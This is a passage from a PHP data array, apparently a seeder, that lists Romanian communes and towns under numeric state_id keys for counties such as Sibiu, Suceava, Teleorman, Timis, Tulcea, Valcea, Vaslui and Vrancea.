'cisnadie'],\n ['state_id' => '2968', 'name' => 'copsa mica'],\n ['state_id' => '2968', 'name' => 'cristian'],\n ['state_id' => '2968', 'name' => 'darlos'],\n ['state_id' => '2968', 'name' => 'dumbraveni'],\n ['state_id' => '2968', 'name' => 'gura raului'],\n ['state_id' => '2968', 'name' => 'hoghilag'],\n ['state_id' => '2968', 'name' => 'iacobeni'],\n ['state_id' => '2968', 'name' => 'jina'],\n ['state_id' => '2968', 'name' => 'laslea'],\n ['state_id' => '2968', 'name' => 'loamnes'],\n ['state_id' => '2968', 'name' => 'ludos'],\n ['state_id' => '2968', 'name' => 'marpod'],\n ['state_id' => '2968', 'name' => 'medias'],\n ['state_id' => '2968', 'name' => 'merghindeal'],\n ['state_id' => '2968', 'name' => 'micasasa'],\n ['state_id' => '2968', 'name' => 'miercurea sibiului'],\n ['state_id' => '2968', 'name' => 'mihaileni'],\n ['state_id' => '2968', 'name' => 'mosna'],\n ['state_id' => '2968', 'name' => 'nocrich'],\n ['state_id' => '2968', 'name' => 'ocna sibiului'],\n ['state_id' => '2968', 'name' => 'orlat'],\n ['state_id' => '2968', 'name' => 'pauca'],\n ['state_id' => '2968', 'name' => 'poiana sibiului'],\n ['state_id' => '2968', 'name' => 'poplaca'],\n ['state_id' => '2968', 'name' => 'porumbacu de jos'],\n ['state_id' => '2968', 'name' => 'racovita'],\n ['state_id' => '2968', 'name' => 'rasinari'],\n ['state_id' => '2968', 'name' => 'rau sadului'],\n ['state_id' => '2968', 'name' => 'rosia'],\n ['state_id' => '2968', 'name' => 'sadu'],\n ['state_id' => '2968', 'name' => 'saliste'],\n ['state_id' => '2968', 'name' => 'seica mare'],\n ['state_id' => '2968', 'name' => 'seica mica'],\n ['state_id' => '2968', 'name' => 'selimbar'],\n ['state_id' => '2968', 'name' => 'sibiu'],\n ['state_id' => '2968', 'name' => 'slimnic'],\n ['state_id' => '2968', 'name' => 'sura mare'],\n ['state_id' => '2968', 'name' => 'sura mica'],\n ['state_id' => '2968', 'name' => 'talmaciu'],\n ['state_id' => '2968', 'name' => 'tarnava'],\n ['state_id' => '2968', 'name' => 'tilisca'],\n ['state_id' => '2968', 'name' => 'turnu rosu'],\n ['state_id' => '2968', 'name' => 'valea viilor'],\n ['state_id' => '2968', 'name' => 'vurpar'],\n ['state_id' => '2969', 'name' => 'sondelor'],\n ['state_id' => '2970', 'name' => 'adancata'],\n ['state_id' => '2970', 'name' => 'arbore'],\n ['state_id' => '2970', 'name' => 'baia'],\n ['state_id' => '2970', 'name' => 'balcauti'],\n ['state_id' => '2970', 'name' => 'bilca'],\n ['state_id' => '2970', 'name' => 'bogdanesti'],\n ['state_id' => '2970', 'name' => 'boroaia'],\n ['state_id' => '2970', 'name' => 'bosanci'],\n ['state_id' => '2970', 'name' => 'botosana'],\n ['state_id' => '2970', 'name' => 'breaza'],\n ['state_id' => '2970', 'name' => 'brodina'],\n ['state_id' => '2970', 'name' => 'brosteni'],\n ['state_id' => '2970', 'name' => 'bunesti'],\n ['state_id' => '2970', 'name' => 'cacica'],\n ['state_id' => '2970', 'name' => 'cajvana'],\n ['state_id' => '2970', 'name' => 'calafindesti'],\n ['state_id' => '2970', 'name' => 'campulung moldovenesc'],\n ['state_id' => '2970', 'name' => 'carlibaba'],\n ['state_id' => '2970', 'name' => 'ciprian porumbescu'],\n ['state_id' => '2970', 'name' => 'cornu luncii'],\n ['state_id' => '2970', 'name' => 'crucea'],\n ['state_id' => '2970', 'name' => 'darmanesti'],\n ['state_id' => '2970', 'name' => 'dolhasca'],\n ['state_id' => '2970', 'name' => 'dolhesti'],\n ['state_id' => '2970', 'name' => 'dorna'],\n ['state_id' => '2970', 'name' => 'dorna candrenilor'],\n ['state_id' => '2970', 'name' => 'dornesti'],\n ['state_id' => '2970', 'name' => 'dragoesti'],\n ['state_id' => '2970', 'name' => 'draguseni'],\n ['state_id' => '2970', 'name' => 'dumbraveni'],\n ['state_id' => '2970', 'name' => 'falticeni'],\n ['state_id' => '2970', 'name' => 'fantanele'],\n ['state_id' => '2970', 'name' => 'forasti'],\n ['state_id' => '2970', 'name' => 'frasin'],\n ['state_id' => '2970', 'name' => 'fratautii noi'],\n ['state_id' => '2970', 'name' => 'fratautii vechi'],\n ['state_id' => '2970', 'name' => 'frumosu'],\n ['state_id' => '2970', 'name' => 'fundu moldovei'],\n ['state_id' => '2970', 'name' => 'galanesti'],\n ['state_id' => '2970', 'name' => 'gramesti'],\n ['state_id' => '2970', 'name' => 'granicesti'],\n ['state_id' => '2970', 'name' => 'gura humorului'],\n ['state_id' => '2970', 'name' => 'horodniceni'],\n ['state_id' => '2970', 'name' => 'horodnicu'],\n ['state_id' => '2970', 'name' => 'iacobeni'],\n ['state_id' => '2970', 'name' => 'ipotesti'],\n ['state_id' => '2970', 'name' => 'izvoarele sucevei'],\n ['state_id' => '2970', 'name' => 'liteni'],\n ['state_id' => '2970', 'name' => 'malini'],\n ['state_id' => '2970', 'name' => 'manastirea homorului'],\n ['state_id' => '2970', 'name' => 'marginea'],\n ['state_id' => '2970', 'name' => 'milisauti'],\n ['state_id' => '2970', 'name' => 'mitocu dragomirnei'],\n ['state_id' => '2970', 'name' => 'moara'],\n ['state_id' => '2970', 'name' => 'moldova sulita'],\n ['state_id' => '2970', 'name' => 'moldovita'],\n ['state_id' => '2970', 'name' => 'musenita'],\n ['state_id' => '2970', 'name' => 'ostra'],\n ['state_id' => '2970', 'name' => 'paltinoasa'],\n ['state_id' => '2970', 'name' => 'panaci'],\n ['state_id' => '2970', 'name' => 'partestii de jos'],\n ['state_id' => '2970', 'name' => 'patrauti'],\n ['state_id' => '2970', 'name' => 'poiana stampei'],\n ['state_id' => '2970', 'name' => 'pojorata'],\n ['state_id' => '2970', 'name' => 'preutesti'],\n ['state_id' => '2970', 'name' => 'putna'],\n ['state_id' => '2970', 'name' => 'radaseni'],\n ['state_id' => '2970', 'name' => 'radauti'],\n ['state_id' => '2970', 'name' => 'rasca'],\n ['state_id' => '2970', 'name' => 'sadova'],\n ['state_id' => '2970', 'name' => 'salcea'],\n ['state_id' => '2970', 'name' => 'saru dornei'],\n ['state_id' => '2970', 'name' => 'satu mare'],\n ['state_id' => '2970', 'name' => 'scheia'],\n ['state_id' => '2970', 'name' => 'siminicea'],\n ['state_id' => '2970', 'name' => 'siret'],\n ['state_id' => '2970', 'name' => 'slatina'],\n ['state_id' => '2970', 'name' => 'solca'],\n ['state_id' => '2970', 'name' => 'straja'],\n ['state_id' => '2970', 'name' => 'stroiesti'],\n ['state_id' => '2970', 'name' => 'stulpicani'],\n ['state_id' => '2970', 'name' => 'suceava'],\n ['state_id' => '2970', 'name' => 'sucevita'],\n ['state_id' => '2970', 'name' => 'todiresti'],\n ['state_id' => '2970', 'name' => 'udesti'],\n ['state_id' => '2970', 'name' => 'ulma'],\n ['state_id' => '2970', 'name' => 'vadu moldovei'],\n ['state_id' => '2970', 'name' => 'valea moldovei'],\n ['state_id' => '2970', 'name' => 'vama'],\n ['state_id' => '2970', 'name' => 'vatra dornei'],\n ['state_id' => '2970', 'name' => 'vatra moldovitei'],\n ['state_id' => '2970', 'name' => 'veresti'],\n ['state_id' => '2970', 'name' => 'vicovu de jos'],\n ['state_id' => '2970', 'name' => 'vicovu de sus'],\n ['state_id' => '2970', 'name' => 'volovat'],\n ['state_id' => '2970', 'name' => 'vulturesti'],\n ['state_id' => '2970', 'name' => 'zamostea'],\n ['state_id' => '2970', 'name' => 'zvoristea'],\n ['state_id' => '2971', 'name' => 'alexandria'],\n ['state_id' => '2971', 'name' => 'babaita'],\n ['state_id' => '2971', 'name' => 'balaci'],\n ['state_id' => '2971', 'name' => 'blejesti'],\n ['state_id' => '2971', 'name' => 'bogdana'],\n ['state_id' => '2971', 'name' => 'botoroaga'],\n ['state_id' => '2971', 'name' => 'bragadiru'],\n ['state_id' => '2971', 'name' => 'branceni'],\n ['state_id' => '2971', 'name' => 'bujoreni'],\n ['state_id' => '2971', 'name' => 'bujoru'],\n ['state_id' => '2971', 'name' => 'buzescu'],\n ['state_id' => '2971', 'name' => 'calinesti'],\n ['state_id' => '2971', 'name' => 'calmatuiu'],\n ['state_id' => '2971', 'name' => 'cervenia'],\n ['state_id' => '2971', 'name' => 'ciolanesti'],\n ['state_id' => '2971', 'name' => 'ciuperceni'],\n ['state_id' => '2971', 'name' => 'contesti'],\n ['state_id' => '2971', 'name' => 'cosmesti'],\n ['state_id' => '2971', 'name' => 'crangeni'],\n ['state_id' => '2971', 'name' => 'crangu'],\n ['state_id' => '2971', 'name' => 'crevenicu'],\n ['state_id' => '2971', 'name' => 'didesti'],\n ['state_id' => '2971', 'name' => 'dobrotesti'],\n ['state_id' => '2971', 'name' => 'dracsenei'],\n ['state_id' => '2971', 'name' => 'draganesti de vede'],\n ['state_id' => '2971', 'name' => 'draganesti-vlasca'],\n ['state_id' => '2971', 'name' => 'frumoasa'],\n ['state_id' => '2971', 'name' => 'furculesti'],\n ['state_id' => '2971', 'name' => 'galateni'],\n ['state_id' => '2971', 'name' => 'gratia'],\n ['state_id' => '2971', 'name' => 'islaz'],\n ['state_id' => '2971', 'name' => 'izvoarele'],\n ['state_id' => '2971', 'name' => 'lisa'],\n ['state_id' => '2971', 'name' => 'lita'],\n ['state_id' => '2971', 'name' => 'lunca'],\n ['state_id' => '2971', 'name' => 'magura'],\n ['state_id' => '2971', 'name' => 'maldaeni'],\n ['state_id' => '2971', 'name' => 'marzanesti'],\n ['state_id' => '2971', 'name' => 'mavrodin'],\n ['state_id' => '2971', 'name' => 'mereni'],\n ['state_id' => '2971', 'name' => 'mosteni'],\n ['state_id' => '2971', 'name' => 'nanov'],\n ['state_id' => '2971', 'name' => 'nasturelu'],\n ['state_id' => '2971', 'name' => 'necsesti'],\n ['state_id' => '2971', 'name' => 'olteni'],\n ['state_id' => '2971', 'name' => 'orbeasca'],\n ['state_id' => '2971', 'name' => 'peretu'],\n ['state_id' => '2971', 'name' => 'piatra'],\n ['state_id' => '2971', 'name' => 'pietrosani'],\n ['state_id' => '2971', 'name' => 'plopii slavitesti'],\n ['state_id' => '2971', 'name' => 'plosca'],\n ['state_id' => '2971', 'name' => 'poeni'],\n ['state_id' => '2971', 'name' => 'poroschia'],\n ['state_id' => '2971', 'name' => 'putineiu'],\n ['state_id' => '2971', 'name' => 'radoiesti'],\n ['state_id' => '2971', 'name' => 'rasmiresti'],\n ['state_id' => '2971', 'name' => 'rosiori de vede'],\n ['state_id' => '2971', 'name' => 'saceni'],\n ['state_id' => '2971', 'name' => 'salcia'],\n ['state_id' => '2971', 'name' => 'sarbeni'],\n ['state_id' => '2971', 'name' => 'scrioastea'],\n ['state_id' => '2971', 'name' => 'scurtu mare'],\n ['state_id' => '2971', 'name' => 'seaca'],\n ['state_id' => '2971', 'name' => 'segarcea vale'],\n ['state_id' => '2971', 'name' => 'sfintesti'],\n ['state_id' => '2971', 'name' => 'silistea'],\n ['state_id' => '2971', 'name' => 'silistea-gumesti'],\n ['state_id' => '2971', 'name' => 'slobozia-mandra'],\n ['state_id' => '2971', 'name' => 'smardioasa'],\n ['state_id' => '2971', 'name' => 'stejaru'],\n ['state_id' => '2971', 'name' => 'storobaneasa'],\n ['state_id' => '2971', 'name' => 'suhaia'],\n ['state_id' => '2971', 'name' => 'talpa'],\n ['state_id' => '2971', 'name' => 'tatarastii de jos'],\n ['state_id' => '2971', 'name' => 'tatarastii de sus'],\n ['state_id' => '2971', 'name' => 'tiganesti'],\n ['state_id' => '2971', 'name' => 'traian'],\n ['state_id' => '2971', 'name' => 'trivalea-mosteni'],\n ['state_id' => '2971', 'name' => 'troianul'],\n ['state_id' => '2971', 'name' => 'turnu magurele'],\n ['state_id' => '2971', 'name' => 'vartoapele-de-jos'],\n ['state_id' => '2971', 'name' => 'vedea'],\n ['state_id' => '2971', 'name' => 'videle'],\n ['state_id' => '2971', 'name' => 'viisoara'],\n ['state_id' => '2971', 'name' => 'vitanesti'],\n ['state_id' => '2971', 'name' => 'zambreasca'],\n ['state_id' => '2971', 'name' => 'zimnicea'],\n ['state_id' => '2972', 'name' => 'balint'],\n ['state_id' => '2972', 'name' => 'banloc'],\n ['state_id' => '2972', 'name' => 'bara'],\n ['state_id' => '2972', 'name' => 'barna'],\n ['state_id' => '2972', 'name' => 'beba veche'],\n ['state_id' => '2972', 'name' => 'becicherecu mic'],\n ['state_id' => '2972', 'name' => 'belint'],\n ['state_id' => '2972', 'name' => 'bethausen'],\n ['state_id' => '2972', 'name' => 'biled'],\n ['state_id' => '2972', 'name' => 'bogda'],\n ['state_id' => '2972', 'name' => 'boldur'],\n ['state_id' => '2972', 'name' => 'brestovat'],\n ['state_id' => '2972', 'name' => 'buzias'],\n ['state_id' => '2972', 'name' => 'carpinis'],\n ['state_id' => '2972', 'name' => 'cenad'],\n ['state_id' => '2972', 'name' => 'cenei'],\n ['state_id' => '2972', 'name' => 'cheveresu mare'],\n ['state_id' => '2972', 'name' => 'ciacova'],\n ['state_id' => '2972', 'name' => 'comlosu mare'],\n ['state_id' => '2972', 'name' => 'costeiu'],\n ['state_id' => '2972', 'name' => 'criciova'],\n ['state_id' => '2972', 'name' => 'curtea'],\n ['state_id' => '2972', 'name' => 'darova'],\n ['state_id' => '2972', 'name' => 'denta'],\n ['state_id' => '2972', 'name' => 'deta'],\n ['state_id' => '2972', 'name' => 'dudestii vechi'],\n ['state_id' => '2972', 'name' => 'dumbrava'],\n ['state_id' => '2972', 'name' => 'dumbravita'],\n ['state_id' => '2972', 'name' => 'faget'],\n ['state_id' => '2972', 'name' => 'fardea'],\n ['state_id' => '2972', 'name' => 'foeni'],\n ['state_id' => '2972', 'name' => 'gataia'],\n ['state_id' => '2972', 'name' => 'gavojdia'],\n ['state_id' => '2972', 'name' => 'ghiroda'],\n ['state_id' => '2972', 'name' => 'ghizela'],\n ['state_id' => '2972', 'name' => 'giarmata'],\n ['state_id' => '2972', 'name' => 'giera'],\n ['state_id' => '2972', 'name' => 'giroc'],\n ['state_id' => '2972', 'name' => 'giulvaz'],\n ['state_id' => '2972', 'name' => 'jamu mare'],\n ['state_id' => '2972', 'name' => 'jebel'],\n ['state_id' => '2972', 'name' => 'jimbolia'],\n ['state_id' => '2972', 'name' => 'lenauheim'],\n ['state_id' => '2972', 'name' => 'liebling'],\n ['state_id' => '2972', 'name' => 'lovrin'],\n ['state_id' => '2972', 'name' => 'lugoj'],\n ['state_id' => '2972', 'name' => 'manastiur'],\n ['state_id' => '2972', 'name' => 'margina'],\n ['state_id' => '2972', 'name' => 'masloc'],\n ['state_id' => '2972', 'name' => 'moravita'],\n ['state_id' => '2972', 'name' => 'mosnita noua'],\n ['state_id' => '2972', 'name' => 'nadrag'],\n ['state_id' => '2972', 'name' => 'nitchidorf'],\n ['state_id' => '2972', 'name' => 'ohaba lunga'],\n ['state_id' => '2972', 'name' => 'ortisoara'],\n ['state_id' => '2972', 'name' => 'peciu nou'],\n ['state_id' => '2972', 'name' => 'periam'],\n ['state_id' => '2972', 'name' => 'pietroasa'],\n ['state_id' => '2972', 'name' => 'pischia'],\n ['state_id' => '2972', 'name' => 'racovita'],\n ['state_id' => '2972', 'name' => 'recas'],\n ['state_id' => '2972', 'name' => 'remetea mare'],\n ['state_id' => '2972', 'name' => 'sacalaz'],\n ['state_id' => '2972', 'name' => 'sacosu turcesc'],\n ['state_id' => '2972', 'name' => 'sag'],\n ['state_id' => '2972', 'name' => 'sanandrei'],\n ['state_id' => '2972', 'name' => 'sanmihaiu roman'],\n ['state_id' => '2972', 'name' => 'sannicolaul mare'],\n ['state_id' => '2972', 'name' => 'sanpetrul-mare'],\n ['state_id' => '2972', 'name' => 'satchinez'],\n ['state_id' => '2972', 'name' => 'secas'],\n ['state_id' => '2972', 'name' => 'stiuca'],\n ['state_id' => '2972', 'name' => 'teremia mare'],\n ['state_id' => '2972', 'name' => 'timisoara'],\n ['state_id' => '2972', 'name' => 'tomesti'],\n ['state_id' => '2972', 'name' => 'topolovatu mare'],\n ['state_id' => '2972', 'name' => 'tormac'],\n ['state_id' => '2972', 'name' => 'traian vuia'],\n ['state_id' => '2972', 'name' => 'uivar'],\n ['state_id' => '2972', 'name' => 'varias'],\n ['state_id' => '2972', 'name' => 'victor vlad delamarina'],\n ['state_id' => '2972', 'name' => 'voiteg'],\n ['state_id' => '2973', 'name' => 'babadag'],\n ['state_id' => '2973', 'name' => 'baia'],\n ['state_id' => '2973', 'name' => 'beidaud'],\n ['state_id' => '2973', 'name' => 'carcaliu'],\n ['state_id' => '2973', 'name' => 'casimcea'],\n ['state_id' => '2973', 'name' => 'ceamurlia de jos'],\n ['state_id' => '2973', 'name' => 'ceatalchioi'],\n ['state_id' => '2973', 'name' => 'cerna'],\n ['state_id' => '2973', 'name' => 'chilia veche'],\n ['state_id' => '2973', 'name' => 'ciucurova'],\n ['state_id' => '2973', 'name' => 'constantin rosetti'],\n ['state_id' => '2973', 'name' => 'crisan'],\n ['state_id' => '2973', 'name' => 'daeni'],\n ['state_id' => '2973', 'name' => 'dorobantu'],\n ['state_id' => '2973', 'name' => 'frecatei'],\n ['state_id' => '2973', 'name' => 'greci'],\n ['state_id' => '2973', 'name' => 'grindu'],\n ['state_id' => '2973', 'name' => 'hamcearca'],\n ['state_id' => '2973', 'name' => 'horia'],\n ['state_id' => '2973', 'name' => 'ion bratianu'],\n ['state_id' => '2973', 'name' => 'isaccea'],\n ['state_id' => '2973', 'name' => 'izvoarele'],\n ['state_id' => '2973', 'name' => 'jijila'],\n ['state_id' => '2973', 'name' => 'jurilovca'],\n ['state_id' => '2973', 'name' => 'luncavita'],\n ['state_id' => '2973', 'name' => 'macin'],\n ['state_id' => '2973', 'name' => 'mahmudia'],\n ['state_id' => '2973', 'name' => 'malnas'],\n ['state_id' => '2973', 'name' => 'mihai bravu'],\n ['state_id' => '2973', 'name' => 'mihail kogalniceanu'],\n ['state_id' => '2973', 'name' => 'murighiol'],\n ['state_id' => '2973', 'name' => 'nalbant'],\n ['state_id' => '2973', 'name' => 'niculitel'],\n ['state_id' => '2973', 'name' => 'nufaru'],\n ['state_id' => '2973', 'name' => 'ostrov'],\n ['state_id' => '2973', 'name' => 'pardina'],\n ['state_id' => '2973', 'name' => 'peceneaga'],\n ['state_id' => '2973', 'name' => 'sarichioi'],\n ['state_id' => '2973', 'name' => 'sfantu gheorghe'],\n ['state_id' => '2973', 'name' => 'slava cercheza'],\n ['state_id' => '2973', 'name' => 'smardan'],\n ['state_id' => '2973', 'name' => 'somova'],\n ['state_id' => '2973', 'name' => 'stejaru'],\n ['state_id' => '2973', 'name' => 'sulina'],\n ['state_id' => '2973', 'name' => 'topolog'],\n ['state_id' => '2973', 'name' => 'tulcea'],\n ['state_id' => '2973', 'name' => 'turcoaia'],\n ['state_id' => '2973', 'name' => 'valea nucarilor'],\n ['state_id' => '2974', 'name' => 'alunu'],\n ['state_id' => '2974', 'name' => 'amarasti'],\n ['state_id' => '2974', 'name' => 'babeni'],\n ['state_id' => '2974', 'name' => 'baile govora'],\n ['state_id' => '2974', 'name' => 'baile olanesti'],\n ['state_id' => '2974', 'name' => 'balcesti'],\n ['state_id' => '2974', 'name' => 'barbatesti'],\n ['state_id' => '2974', 'name' => 'berbesti'],\n ['state_id' => '2974', 'name' => 'berislavesti'],\n ['state_id' => '2974', 'name' => 'boisoara'],\n ['state_id' => '2974', 'name' => 'brezoi'],\n ['state_id' => '2974', 'name' => 'budesti'],\n ['state_id' => '2974', 'name' => 'bujoreni'],\n ['state_id' => '2974', 'name' => 'bunesti'],\n ['state_id' => '2974', 'name' => 'caineni'],\n ['state_id' => '2974', 'name' => 'calimanesti'],\n ['state_id' => '2974', 'name' => 'cernisoara'],\n ['state_id' => '2974', 'name' => 'copaceni'],\n ['state_id' => '2974', 'name' => 'costesti'],\n ['state_id' => '2974', 'name' => 'creteni'],\n ['state_id' => '2974', 'name' => 'daesti'],\n ['state_id' => '2974', 'name' => 'danicei'],\n ['state_id' => '2974', 'name' => 'dragasani'],\n ['state_id' => '2974', 'name' => 'dragoesti'],\n ['state_id' => '2974', 'name' => 'fartatesti'],\n ['state_id' => '2974', 'name' => 'fauresti'],\n ['state_id' => '2974', 'name' => 'francesti'],\n ['state_id' => '2974', 'name' => 'galicea'],\n ['state_id' => '2974', 'name' => 'ghioroiu'],\n ['state_id' => '2974', 'name' => 'glavile'],\n ['state_id' => '2974', 'name' => 'golesti'],\n ['state_id' => '2974', 'name' => 'gradistea'],\n ['state_id' => '2974', 'name' => 'gusoeni'],\n ['state_id' => '2974', 'name' => 'horezu'],\n ['state_id' => '2974', 'name' => 'ionesti'],\n ['state_id' => '2974', 'name' => 'ladesti'],\n ['state_id' => '2974', 'name' => 'lalosu'],\n ['state_id' => '2974', 'name' => 'lapusata'],\n ['state_id' => '2974', 'name' => 'livezi'],\n ['state_id' => '2974', 'name' => 'lungesti'],\n ['state_id' => '2974', 'name' => 'maciuca'],\n ['state_id' => '2974', 'name' => 'madulari'],\n ['state_id' => '2974', 'name' => 'malaia'],\n ['state_id' => '2974', 'name' => 'maldaresti'],\n ['state_id' => '2974', 'name' => 'mateesti'],\n ['state_id' => '2974', 'name' => 'mihaesti'],\n ['state_id' => '2974', 'name' => 'milcoiu'],\n ['state_id' => '2974', 'name' => 'muereasca'],\n ['state_id' => '2974', 'name' => 'nicolae balcescu'],\n ['state_id' => '2974', 'name' => 'ocnele mari'],\n ['state_id' => '2974', 'name' => 'olanu'],\n ['state_id' => '2974', 'name' => 'orlesti'],\n ['state_id' => '2974', 'name' => 'otesani'],\n ['state_id' => '2974', 'name' => 'pausesti'],\n ['state_id' => '2974', 'name' => 'pausesti-maglasi'],\n ['state_id' => '2974', 'name' => 'perisani'],\n ['state_id' => '2974', 'name' => 'pesceana'],\n ['state_id' => '2974', 'name' => 'pietrari'],\n ['state_id' => '2974', 'name' => 'popesti'],\n ['state_id' => '2974', 'name' => 'prundeni'],\n ['state_id' => '2974', 'name' => 'racovita'],\n ['state_id' => '2974', 'name' => 'ramnicu valcea'],\n ['state_id' => '2974', 'name' => 'roesti'],\n ['state_id' => '2974', 'name' => 'rosiile'],\n ['state_id' => '2974', 'name' => 'runcu'],\n ['state_id' => '2974', 'name' => 'salatrucel'],\n ['state_id' => '2974', 'name' => 'scundu'],\n ['state_id' => '2974', 'name' => 'sinesti'],\n ['state_id' => '2974', 'name' => 'sirineasa'],\n ['state_id' => '2974', 'name' => 'slatioara'],\n ['state_id' => '2974', 'name' => 'stanesti'],\n ['state_id' => '2974', 'name' => 'stefanesti'],\n ['state_id' => '2974', 'name' => 'stoenesti'],\n ['state_id' => '2974', 'name' => 'stoilesti'],\n ['state_id' => '2974', 'name' => 'stroesti'],\n ['state_id' => '2974', 'name' => 'susani'],\n ['state_id' => '2974', 'name' => 'sutesti'],\n ['state_id' => '2974', 'name' => 'tetoiu'],\n ['state_id' => '2974', 'name' => 'tomsani'],\n ['state_id' => '2974', 'name' => 'vaideeni'],\n ['state_id' => '2974', 'name' => 'valea mare'],\n ['state_id' => '2974', 'name' => 'vladesti'],\n ['state_id' => '2974', 'name' => 'voicesti'],\n ['state_id' => '2974', 'name' => 'voineasa'],\n ['state_id' => '2974', 'name' => 'zatreni'],\n ['state_id' => '2975', 'name' => 'albesti'],\n ['state_id' => '2975', 'name' => 'alexandru vlahuta'],\n ['state_id' => '2975', 'name' => 'arsura'],\n ['state_id' => '2975', 'name' => 'bacani'],\n ['state_id' => '2975', 'name' => 'bacesti'],\n ['state_id' => '2975', 'name' => 'balteni'],\n ['state_id' => '2975', 'name' => 'banca'],\n ['state_id' => '2975', 'name' => 'barlad'],\n ['state_id' => '2975', 'name' => 'berezeni'],\n ['state_id' => '2975', 'name' => 'blagesti'],\n ['state_id' => '2975', 'name' => 'bogdana'],\n ['state_id' => '2975', 'name' => 'bogdanesti'],\n ['state_id' => '2975', 'name' => 'bogdanita'],\n ['state_id' => '2975', 'name' => 'botesti'],\n ['state_id' => '2975', 'name' => 'bunesti'],\n ['state_id' => '2975', 'name' => 'codaesti'],\n ['state_id' => '2975', 'name' => 'coroiesti'],\n ['state_id' => '2975', 'name' => 'costesti'],\n ['state_id' => '2975', 'name' => 'cretesti'],\n ['state_id' => '2975', 'name' => 'danesti'],\n ['state_id' => '2975', 'name' => 'deleni'],\n ['state_id' => '2975', 'name' => 'delesti'],\n ['state_id' => '2975', 'name' => 'dimitrie cantemir'],\n ['state_id' => '2975', 'name' => 'dragomiresti'],\n ['state_id' => '2975', 'name' => 'dranceni sat'],\n ['state_id' => '2975', 'name' => 'duda'],\n ['state_id' => '2975', 'name' => 'dumesti'],\n ['state_id' => '2975', 'name' => 'epureni'],\n ['state_id' => '2975', 'name' => 'falciu'],\n ['state_id' => '2975', 'name' => 'gagesti'],\n ['state_id' => '2975', 'name' => 'garceni'],\n ['state_id' => '2975', 'name' => 'gherghesti'],\n ['state_id' => '2975', 'name' => 'grivita'],\n ['state_id' => '2975', 'name' => 'hoceni'],\n ['state_id' => '2975', 'name' => 'husi'],\n ['state_id' => '2975', 'name' => 'iana'],\n ['state_id' => '2975', 'name' => 'ivanesti'],\n ['state_id' => '2975', 'name' => 'ivesti'],\n ['state_id' => '2975', 'name' => 'laza'],\n ['state_id' => '2975', 'name' => 'lipovat'],\n ['state_id' => '2975', 'name' => 'lunca banului'],\n ['state_id' => '2975', 'name' => 'malusteni'],\n ['state_id' => '2975', 'name' => 'miclesti'],\n ['state_id' => '2975', 'name' => 'muntenii de jos'],\n ['state_id' => '2975', 'name' => 'murgeni'],\n ['state_id' => '2975', 'name' => 'negresti'],\n ['state_id' => '2975', 'name' => 'oltenesti'],\n ['state_id' => '2975', 'name' => 'osesti'],\n ['state_id' => '2975', 'name' => 'padureni'],\n ['state_id' => '2975', 'name' => 'perieni'],\n ['state_id' => '2975', 'name' => 'pogana'],\n ['state_id' => '2975', 'name' => 'poienesti'],\n ['state_id' => '2975', 'name' => 'puiesti'],\n ['state_id' => '2975', 'name' => 'pungesti'],\n ['state_id' => '2975', 'name' => 'rebricea'],\n ['state_id' => '2975', 'name' => 'rosiesti'],\n ['state_id' => '2975', 'name' => 'solesti'],\n ['state_id' => '2975', 'name' => 'stanilesti'],\n ['state_id' => '2975', 'name' => 'stefan cel mare'],\n ['state_id' => '2975', 'name' => 'suletea'],\n ['state_id' => '2975', 'name' => 'tacuta'],\n ['state_id' => '2975', 'name' => 'tanacu'],\n ['state_id' => '2975', 'name' => 'tatarani'],\n ['state_id' => '2975', 'name' => 'todiresti'],\n ['state_id' => '2975', 'name' => 'tutova'],\n ['state_id' => '2975', 'name' => 'valeni'],\n ['state_id' => '2975', 'name' => 'vaslui'],\n ['state_id' => '2975', 'name' => 'vetrisoaia'],\n ['state_id' => '2975', 'name' => 'viisoara'],\n ['state_id' => '2975', 'name' => 'vinderei'],\n ['state_id' => '2975', 'name' => 'voinesti'],\n ['state_id' => '2975', 'name' => 'vulturesti'],\n ['state_id' => '2975', 'name' => 'vutcani'],\n ['state_id' => '2975', 'name' => 'zapodeni'],\n ['state_id' => '2975', 'name' => 'zorleni'],\n ['state_id' => '2976', 'name' => 'adjud'],\n ['state_id' => '2976', 'name' => 'andreiasu de jos'],\n ['state_id' => '2976', 'name' => 'balesti'],\n ['state_id' => '2976', 'name' => 'barsesti'],\n ['state_id' => '2976', 'name' => 'boghesti'],\n ['state_id' => '2976', 'name' => 'bolotesti'],\n ['state_id' => '2976', 'name' => 'bordesti'],\n ['state_id' => '2976', 'name' => 'brosteni'],\n ['state_id' => '2976', 'name' => 'campineanca'],\n ['state_id' => '2976', 'name' => 'campuri'],\n ['state_id' => '2976', 'name' => 'carligele'],\n ['state_id' => '2976', 'name' => 'chiojdeni'],\n ['state_id' => '2976', 'name' => 'ciorasti'],\n ['state_id' => '2976', 'name' => 'corbita'],\n ['state_id' => '2976', 'name' => 'cotesti'],\n ['state_id' => '2976', 'name' => 'dumbraveni'],\n ['state_id' => '2976', 'name' => 'dumitresti'],\n ['state_id' => '2976', 'name' => 'fitionesti'],\n ['state_id' => '2976', 'name' => 'focsani'],\n ['state_id' => '2976', 'name' => 'garoafa'],\n ['state_id' => '2976', 'name' => 'golesti'],\n ['state_id' => '2976', 'name' => 'gugesti'],\n ['state_id' => '2976', 'name' => 'gura calitei'],\n ['state_id' => '2976', 'name' => 'homocea'],\n ['state_id' => '2976', 'name' => 'jaristea'],\n ['state_id' => '2976', 'name' => 'jitia'],\n ['state_id' => '2976', 'name' => 'maicanesti'],\n ['state_id' => '2976', 'name' => 'marasesti'],\n ['state_id' => '2976', 'name' => 'mera'],\n ['state_id' => '2976', 'name' => 'milcovul'],\n ['state_id' => '2976', 'name' => 'movilita'],\n ['state_id' => '2976', 'name' => 'nanesti'],\n ['state_id' => '2976', 'name' => 'naruja'],\n ['state_id' => '2976', 'name' => 'nereju'],\n ['state_id' => '2976', 'name' => 'nistoresti'],\n ['state_id' => '2976', 'name' => 'odobesti'],\n ['state_id' => '2976', 'name' => 'paltin'],\n ['state_id' => '2976', 'name' => 'panciu'],\n ['state_id' => '2976', 'name' => 'paunesti'],\n ['state_id' => '2976', 'name' => 'poiana cristei'],\n ['state_id' => '2976', 'name' => 'pufesti'],\n ['state_id' => '2976', 'name' => 'racoasa'],\n ['state_id' => '2976', 'name' => 'reghiu'],\n ['state_id' => '2976', 'name' => 'ruginesti'],\n ['state_id' => '2976', 'name' => 'sihlea'],\n ['state_id' => '2976', 'name' => 'slobozia bradului'],\n ['state_id' => '2976', 'name' => 'slobozia-ciorasti'],\n ['state_id' => '2976', 'name' => 'soveja'],\n ['state_id' => '2976', 'name' => 'straoane'],\n ['state_id' => '2976', 'name' => 'suraia'],\n ['state_id' => '2976', 'name' => 